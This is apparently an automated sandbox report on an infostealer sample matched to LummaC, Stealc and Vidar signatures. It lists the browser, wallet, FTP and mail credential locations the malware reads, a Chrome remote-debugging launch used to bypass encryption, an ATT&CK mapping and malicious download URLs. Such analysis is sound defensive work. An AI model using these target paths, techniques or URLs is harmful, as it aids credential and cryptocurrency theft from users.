Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\prefs.js
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL
Source: C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL

Source: Yara match	File source: 0000001C.00000003.2363623516.0000000000ED8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.2385260950.0000000000EDC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.2385181260.0000000000ED5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.2608815429.0000000000EBF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.2551942358.0000000000EBF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.2389409242.0000000000ED1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000003.2557884140.0000000000EBF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.2362537039.0000000000ED8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.2452016201.0000000000ED2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7804, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: d7f88d1a57.exe PID: 5716, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: d7f88d1a57.exe PID: 6596, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Credential Flusher

Source: Yara match

File source: Process Memory Space: 8cfb091e91.exe PID: 2700, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: d7f88d1a57.exe PID: 5716, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: d7f88d1a57.exe PID: 6596, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 0000002B.00000002.2668304237.0000000000ED1000.00000040.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1945261732.0000000000ABE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002B.00000002.2671773681.000000000180B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.2478552911.0000000000ED1000.00000040.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000003.2437353667.00000000051B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.2477951066.0000000000D8E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1945734539.0000000000DC1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1452818797.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002B.00000003.2573497477.00000000056E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7804, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: e9987cd408.exe PID: 9184, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: e9987cd408.exe PID: 5180, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 7804, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDB0C40 sqlite3_bind_zeroblob,	0_2_6CDB0C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDB0D60 sqlite3_bind_parameter_name,	0_2_6CDB0D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCD8EA0 sqlite3_clear_bindings,	0_2_6CCD8EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDB0B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	0_2_6CDB0B40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCD6410 bind,WSAGetLastError,	0_2_6CCD6410
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCD60B0 listen,WSAGetLastError,	0_2_6CCD60B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCDC050 sqlite3_bind_parameter_index,strlen,strncmp,strncmp,	0_2_6CCDC050
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCD6070 PR_Listen,	0_2_6CCD6070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCDC030 sqlite3_bind_parameter_count,	0_2_6CCDC030
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CC622D0 sqlite3_bind_blob,	0_2_6CC622D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCD63C0 PR_Bind,	0_2_6CCD63C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCD94C0 sqlite3_bind_text,	0_2_6CCD94C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCD94F0 sqlite3_bind_text16,	0_2_6CCD94F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCD9480 sqlite3_bind_null,	0_2_6CCD9480
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CCD9400 sqlite3_bind_int64,	0_2_6CCD9400

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	21 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	11 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	1 Extra Window Memory Injection	21 Deobfuscate/Decode Files or Information	LSASS Memory	12 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	111 Registry Run Keys / Startup Folder	12 Process Injection	4 Obfuscated Files or Information	Security Account Manager	249 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	1 Scheduled Task/Job	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	111 Registry Run Keys / Startup Folder	1 DLL Side-Loading	LSA Secrets	871 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	121 Masquerading	DCSync	351 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	351 Virtualization/Sandbox Evasion	Proc Filesystem	1 Remote System Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	42%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\random[1].exe	34%	ReversingLabs	Win32.Trojan.AutoitInject
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[1].exe	37%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[2].exe	37%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\random[2].exe	34%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\random[1].exe	42%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1007148001\a4be4c0327.exe	37%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe	34%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1007150001\e9987cd408.exe	42%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1007151001\8cfb091e91.exe	34%	ReversingLabs	Win32.Trojan.AutoitInject
C:\Users\user\AppData\Local\Temp\1007152001\c5c0aef5f7.exe	37%	ReversingLabs	Win32.Infostealer.Tinba

Source	Detection	Scanner	Label
https://cook-rain.sbs/apiF6	100%	Avira URL Cloud	malware
http://185.215.113.16/off/random.exev	100%	Avira URL Cloud	phishing
